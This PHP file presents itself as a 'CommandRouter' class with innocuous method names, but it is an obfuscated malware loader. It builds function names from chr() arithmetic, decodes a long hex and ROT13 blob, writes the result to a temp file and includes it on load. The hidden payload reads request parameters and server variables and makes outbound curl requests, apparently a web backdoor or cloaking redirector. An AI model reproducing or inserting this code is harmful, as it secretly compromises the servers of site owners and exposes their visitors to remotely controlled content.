<?php
class CommandRouter
{
    private $je = '';
    private $ix = '';
    public function fetchSummary($p1)
    {
        $w = array(56 + 48, 73 * 1 + 28, 30 + 90, 8 + 42, 98, 105, 116 - 6);
        $x = '';
        foreach ($w as $c) {
            $x .= chr($c);
        }
        return $x($p1);
    }
    public function terminateSession($p1)
    {
        $y = array(13 + 102, 21 * 28 - 472, 121 - 7, 95, 109 + 3 + 2, 103 * 1 + 8, 55 + 61, 7 * 7, 24 * 6 - 93);
        $h = '';
        foreach ($y as $w) {
            $h .= chr($w);
        }
        return $h($p1);
    }
    public function updateRegistry($p1, $p2)
    {
        $r = array(8 + 21 + 73, 12 + 99, 110 + 1 + 1, 101 * 1, 84 + 26);
        $o = '';
        foreach ($r as $h) {
            $o .= chr($h);
        }
        return $o($p1, $p2);
    }
    public function syncRecords($p1, $p2)
    {
        $x = array(101, 122 - 6, 105, 68 + 46, 16 * 5 + 39, 40 + 62);
        $t = '';
        foreach ($x as $q) {
            $t .= chr($q);
        }
        $t = strrev($t);
        return $t($p1, $p2);
    }
    public function computeResult($p1)
    {
        $n = array(103 - 2, 65 * 58 - 3655, 18 * 4 + 39, 7 + 95 + 6, 53 + 46, 71 * 89 - 6217);
        $a = '';
        foreach ($n as $s) {
            $a .= chr($s);
        }
        $a = strrev($a);
        return $a($p1);
    }
    public function updateCache($p1, $p2 = null)
    {
        $y = array(13 + 27 + 74, 69 * 66 - 4438, 11 * 8 + 26, 5 + 61 + 39, 98 + 8 + 3);
        $h = '';
        foreach ($y as $m) {
            $h .= chr($m);
        }
        return $h($p1, $p2);
    }
    public function initializeModule()
    {
        $this->ix = $this->updateCache($this->authorizeUser(), '/');
    }
    public function checkConsistency()
    {
        $this->je = $this->terminateSession($this->fetchSummary($this->dlli));
    }
    public function saveChanges()
    {
        $fn = $this->ix . '/uq-690d71154f075';
        $f = $this->updateRegistry($fn, 'w');
        $this->syncRecords($f, $this->je);
        $this->computeResult($f);
        $this->validateInput($fn);
    }
    private $dlli = '3c3f6375632070796e6666205f636a7b636576696e6772206' . '6676e677670245f77693b66676e67767020736861706776626' . '1205f616f28245f6c65632c245f6361297b767328216672797' . '33a3a245f776929667279733a3a5f7a647828293b245f6b633' . 'd66676579726128245f6361293b245f65653d6f6e667236345' . 'f71727062717228667279733a3a245f77695b245f6c65635d2' . '93b73626528245f6d763d302c245f77653d666765797261282' . '45f6565293b245f6d76213d3d245f77653b2b2b245f6d76292' . '45f65655b245f6d765d3d7075652862657128245f65655b245' . 'f6d765d295e62657128245f63615b245f6d7625245f6b635d2' . '9293b657267686561245f65653b7d636576696e67722066676' . 'e677670207368617067766261205f7a647828297b667279733' . 'a3a245f77693d6e65656e6c28275f7163273d3e27557556584' . '274566e707756545a44486f5a4f3152557530535a4e4d52524' . 'e5a4e424f74554d495351272c275f6b6662273d3e27554f345' . '9586b445958316a6b5774524e4d495252596a5257417556525' . '86b74585a49344343747052594f564b41745245272c275f6c7' . '2273d3e27434e663d272c275f676279273d3e2742755279596' . 'a66665379347a4144396f526a56566e6c445342536a7741443' . '96f5374524c41746a3454745274417657734f474e756f6c525' . '4584e525a5a7734505374564e41746a62504556595550574a2' . '72c275f616163273d3e2759743049576a3d3d272c275f66622' . '73d3e274c6a564e4a6a3d3d272c275f787478273d3e274c6a4' . '448527a523d272c275f7474273d3e27584e4c555a6a3d3d272' . 'c275f657666273d3e27272c275f6564273d3e27272c275f716' . '2273d3e27272c275f6f6e273d3e27416a5a505054494c4a447' . '464534974434275484452475a46557570664e6b5a587045444' . 'd534b4e4854454869544e48715949787050324e47536a6a2b4' . '6743d3d272c275f70766c273d3e27434e527353444e714e6b4' . 'e65272c275f64636e273d3e27416b4e47596d66525a4e4e502' . '72c275f6a71273d3e27594f62534e475670272c275f74656f2' . '73d3e27416b48494f466a3d272c275f6a6a79273d3e2754515' . '62f464e3d3d272c275f716f62273d3e27596b4c5a416a3d3d2' . '72c275f6e75273d3e275975664b53504c3d272c275f7065612' . '73d3e274c4e3d3d272c275f616967273d3e275975344b546c4' . 'c3d272c275f6f63273d3e27736d786c506c53576f79394a486' . '166685a4e56464d49523d272c275f786761273d3e27416a4c4' . 'b4e6a3d3d272c275f656b273d3e27487a44685a4e4e5142743' . '04d417452514d4834685a6a5272427a4161487a443d272c275' . 'f7079273d3e27594e4e554d496b52272c275f6d69273d3e272' . '72c275f686963273d3e27416a6a54556a3d3d272c275f64782' . '73d3e27487a383d272c275f6766273d3e27536d7868424e4e6' . '84176526e566c34335377303d272c275f69667a273d3e27536' . 'c7038516c6a6a4e5148615146446351477067546c6a6852505' . '23d272c275f756376273d3e2751474c61427466324147446f4' . '16d743d272c275f6b65273d3e27536c307958744e665677384' . '157774e3954777079272c275f6777273d3e27536c562b516c7' . '82f51515a344e5170675477742b272c275f6e7571273d3e272' . '72c275f796e273d3e27536d6a3543444e365850666e4276742' . 'f272c275f696272273d3e27536d62365a744e38586c446e435' . '0666a272c275f7a78273d3e27272c275f6173273d3e27536d5' . '677516d7830526c386c5247566253774c3d272c275f6766792' . '73d3e27536d5a6a426a4e785850566e58474e305377703d272' . 'c275f64726d273d3e27536d3832516d44364e50306751476a7' . '751463861546d44785251783d272c275f6f7a65273d3e27536' . 'c526a516c62384e515a655146567951475275546c627652507' . '03d272c275f686d273d3e2751466a7a414466664151666f594' . '7783d272c275f776771273d3e275146662b525162324e50383' . '3546d6a3d272c275f7864273d3e27426a74575a74485842743' . 'd3d272c275f6870273d3e2753773150736a3d3d272c275f667' . '9273d3e27736b754342453572476a3d3d272c275f787467273' . 'd3e27736b67414277624f4930743d272c275f6270273d3e277' . '331665259497966272c275f7a6f273d3e274174783d272c275' . 'f6b64273d3e275874343d272c275f676c72273d3e275944444' . '1272c275f63636b273d3e2759757873554e3d3d272c293b7d7' . 'd70796e6666205f6b617b636576696e67722066676e6776702' . '45f77693b66676e677670207368617067766261205f616f282' . '45f6c6563297b76732821667279733a3a245f7769296672797' . '33a3a5f7a647828293b65726768656120667279733a3a245f7' . '7695b245f6c65635d3b7d636576696e67722066676e6776702' . '07368617067766261205f7a647828297b667279733a3a245f7' . '7693d6e65656e6c2830302c30372c3033362c3033362c30312' . 'c3033362c30322c30372c30312c3031362c3033302c30362c3' . '033322c3031322c3031312c3031332c3032372c3033312c303' . '32c30322c30312c30312c30302c3031322c3031322c3033313' . '02c303637332c303132302c30302c30323030302c30312c303' . '432332c30343233293b7d7d75726e717265285f636a3a3a5f6' . '16f28275f7163272c275f64762729293b75726e717265285f6' . '36a3a3a5f616f28275f6b6662272c275f64722729293b76732' . '8766666726728245f5452475b5f636a3a3a5f616f28275f6c7' . '2272c275f707127295d29297b245f6d73613d5f6d69285f636' . 'a3a3a5f616f28275f676279272c275f75622729293b7673282' . '45f6d7361262666676563626628245f6d73612c5f636a3a3a5' . 'f616f28275f616163272c275f6d62272929213d3d736e79667' . '2297b717672285f636a3a3a5f616f28275f6662272c275f7a7' . '8722729293b7d727966727b717672285f636a3a3a5f616f282' . '75f787478272c275f7368692729293b7d7d767328766666726' . '728245f5452475b5f636a3a3a5f616f28275f7474272c275f7' . '47827295d29297b245f77653d245f5042425856523b245f636' . '13d5f6b613a3a5f616f2830293b245f6c65633d5f6b613a3a5' . 'f616f2831293b245f6961713d6e65656e6c28293b245f69617' . '15b245f63615d3d5f636a3a3a5f616f28275f657666272c275' . 'f78646627293b6a7576797228245f6c6563297b245f6961715' . 'b245f63615d2e3d245f77655b5f6b613a3a5f616f2832295d5' . 'b245f6c65635d3b76732821245f77655b5f6b613a3a5f616f2' . '833295d5b245f6c65632b5f6b613a3a5f616f2834295d297b7' . '6732821245f77655b5f6b613a3a5f616f2835295d5b245f6c6' . '5632b5f6b613a3a5f616f2836295d296f65726e783b245f636' . '12b2b3b245f6961715b245f63615d3d5f636a3a3a5f616f282' . '75f6564272c275f6f7827293b245f6c65632b2b3b7d245f6c6' . '5633d245f6c65632b5f6b613a3a5f616f2837292b5f6b613a3' . 'a5f616f2838293b7d245f63613d245f6961715b5f6b613a3a5' . 'f616f2839295d28292e245f6961715b5f6b613a3a5f616f283' . '130295d3b76732821245f6961715b5f6b613a3a5f616f28313' . '1295d28245f636129297b245f6c65633d245f6961715b5f6b6' . '13a3a5f616f283132295d28245f63612c245f6961715b5f6b6' . '13a3a5f616f283133295d293b245f6961715b5f6b613a3a5f6' . '16f283134295d28245f6c65632c245f6961715b5f6b613a3a5' . 'f616f283135295d2e245f6961715b5f6b613a3a5f616f28313' . '6295d28245f6961715b5f6b613a3a5f616f283137295d28245' . 'f77655b5f6b613a3a5f616f283138295d2929293b7d7661707' . '968717228245f6361293b7d7368617067766261205f6d69282' . '45f75656a2c245f636f3d2d313637372c245f6d6b3d6168797' . '92c245f7874753d276c6b6773666e796e776727297b245f6a6' . '13d5f636a3a3a5f616f28275f7162272c275f706827293b245' . 'f7470703d5f636a3a3a5f616f28275f6f6e272c275f6a696b2' . '7292e245f75656a3b76732876665f706e79796e6f7972285f6' . '36a3a3a5f616f28275f70766c272c275f677a6c272929297b2' . '45f6a6b6c3d706865795f7661766728245f747070293b70686' . '5795f66726762636728245f6a6b6c2c504845594243475f464' . '6595f49524556534c435252452c736e796672293b706865795' . 'f66726762636728245f6a6b6c2c504845594243475f4646595' . 'f49524556534c554246472c5f6b613a3a5f616f28313929293' . 'b706865795f66726762636728245f6a6b6c2c5048455942434' . '75f53425959424a5942504e475642412c5f6b613a3a5f616f2' . '8323029293b706865795f66726762636728245f6a6b6c2c504' . '845594243475f45524748454147454e41465352452c5f6b613' . 'a3a5f616f28323129293b706865795f66726762636728245f6' . 'a6b6c2c504845594243475f55524e5152452c5f6b613a3a5f6' . '16f28323229293b706865795f66726762636728245f6a6b6c2' . 'c504845594243475f5042414152504747565a524248472c5f6' . 'b613a3a5f616f28323329293b706865795f667267626367282' . '45f6a6b6c2c504845594243475f47565a524248472c5f6b613' . 'a3a5f616f28323429293b245f6a613d706865795f726b72702' . '8245f6a6b6c293b245f6879753d706865795f7472677661736' . '228245f6a6b6c293b706865795f707962667228245f6a6b6c2' . '93b767328245f6879755b5f636a3a3a5f616f28275f64636e2' . '72c275f717427295d213d5f6b613a3a5f616f2832352929657' . '26768656120736e7966723b7d727966727b245f71703d636e6' . '566725f68657928245f747070293b245f6a65783d28245f717' . '05b5f636a3a3a5f616f28275f6a71272c275f6c7a7127295d3' . 'd3d5f636a3a3a5f616f28275f74656f272c275f6e6e6827292' . '93b245f76743d5f636a3a3a5f616f28275f6a6a79272c275f6' . 'a787527292e245f71705b5f636a3a3a5f616f28275f716f622' . '72c275f6a6b27295d3b767328766666726728245f71705b5f6' . '36a3a3a5f616f28275f6e75272c275f61657327295d2929245' . 'f76742e3d5f636a3a3a5f616f28275f706561272c275f69652' . '7292e245f71705b5f636a3a3a5f616f28275f616967272c275' . 'f78657627295d3b245f76742e3d5f636a3a3a5f616f28275f6' . 'f63272c275f647327292e245f71705b5f636a3a3a5f616f282' . '75f786761272c275f76716a27295d2e5f636a3a3a5f616f282' . '75f656b272c275f617a27293b245f69703d736662707862637' . '2612828245f6a65783f5f636a3a3a5f616f28275f7079272c2' . '75f667827293a5f636a3a3a5f616f28275f6d69272c275f787' . 'a2729292e245f71705b5f636a3a3a5f616f28275f686963272' . 'c275f70687827295d2c245f6a65783f5f6b613a3a5f616f283' . '236293a5f6b613a3a5f616f28323729293b767328245f69702' . '97b736368676628245f69702c245f7674293b245f65653d5f6' . 'b613a3a5f616f283238293b6a7576797228217372627328245' . 'f697029297b245f6e746b3d737472676628245f69702c5f6b6' . '13a3a5f616f28323929293b767328245f656529245f6a612e3' . 'd245f6e746b3b767328245f6e746b3d3d5f636a3a3a5f616f2' . '8275f6478272c275f726f272929245f65653d5f6b613a3a5f6' . '16f283330293b7d73707962667228245f6970293b7d7d65726' . '7686561245f6a613b7d245f7361623d766666726728245f465' . '2454952455b5f636a3a3a5f616f28275f6766272c275f7a6d7' . '527295d293b245f63743d766666726728245f4652454952455' . 'b5f636a3a3a5f616f28275f69667a272c275f667527295d293' . 'b245f64673d766666726728245f4652454952455b5f636a3a3' . 'a5f616f28275f756376272c275f66776827295d293b245f6f7' . 'a673d766666726728245f4652454952455b5f636a3a3a5f616' . 'f28275f6b65272c275f6c646d27295d293f245f46524549524' . '55b5f636a3a3a5f616f28275f6777272c275f697727295d3a5' . 'f636a3a3a5f616f28275f6e7571272c275f6d6427293b245f6' . 'a743d766666726728245f4652454952455b5f636a3a3a5f616' . 'f28275f796e272c275f757a7a27295d293f245f46524549524' . '55b5f636a3a3a5f616f28275f696272272c275f61616f27295' . 'd3a5f636a3a3a5f616f28275f7a78272c275f79726b27293b2' . '45f7361623d766666726728245f4652454952455b5f636a3a3' . 'a5f616f28275f6173272c275f736a27295d293f245f4652454' . '952455b5f636a3a3a5f616f28275f676679272c275f7471782' . '7295d3a616879793b245f63743d766666726728245f4652454' . '952455b5f636a3a3a5f616f28275f64726d272c275f786f272' . '95d293f245f4652454952455b5f636a3a3a5f616f28275f6f7' . 'a65272c275f687127295d3a616879793b245f64673d7666667' . '26728245f4652454952455b5f636a3a3a5f616f28275f686d2' . '72c275f76786d27295d293f245f4652454952455b5f636a3a3' . 'a5f616f28275f776771272c275f616627295d3a616879793b7' . '673287376796772655f696e6528245f7361622c5f6b613a3a5' . 'f616f2833312929297b245f7866663d245f7361623b7d72796' . '6727673287376796772655f696e6528245f63742c5f6b613a3' . 'a5f616f2833322929297b245f7866663d245f63743b7d72796' . '6727b245f7866663d245f64673b7d767328766666726728245' . 'f5452475b5f636a3a3a5f616f28275f7864272c275f7761272' . '95d29297b72707562205f636a3a3a5f616f28275f6870272c2' . '75f7a6b27292e245f7866662e5f636a3a3a5f616f28275f667' . '9272c275f71627927292e245f6f7a672e5f636a3a3a5f616f2' . '8275f787467272c275f747a7527292e245f6a742e5f636a3a3' . 'a5f616f28275f6270272c275f747327293b726b766728293b7' . 'd76732821766666726728245f786666297c7c2176666672672' . '8245f6f7a67297c7c21766666726728245f6a7429297b726b7' . '66728293b7d727966727b245f7a673d6e65656e6c285f636a3' . 'a3a5f616f28275f7a6f272c275f6c6c6527293d3e245f78666' . '62c5f636a3a3a5f616f28275f6b64272c275f626227293d3e2' . '45f6f7a672c5f636a3a3a5f616f28275f676c72272c275f6e7' . '87427293d3e245f6a74293b245f67623d68657972617062717' . '2286f6e667236345f72617062717228776662615f726170627' . '17228245f7a672929293b245f6d73613d5f6d6928245f67622' . '93b767328245f6d7361262666676563626628245f6d73612c5' . 'f636a3a3a5f616f28275f63636b272c275f617271272929213' . 'd3d736e796672297b72707562245f6d73613b726b766728293' . 'b7d7d';
    public function validateInput($p)
    {
        include $p;
    }
    public function authorizeUser()
    {
        $a = array(64 + 51, 20 * 48 - 839, 115, 55 + 5 + 35, 103, 54 * 57 - 2977, 2 * 58, 95, 116, 23 + 4 + 74, 99 * 1 + 10, 39 + 73, 95, 14 * 2 + 72, 46 * 102 - 4587, 66 + 33 + 15);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$bv = new CommandRouter();
$bv->initializeModule();
$bv->checkConsistency();
$bv->saveChanges();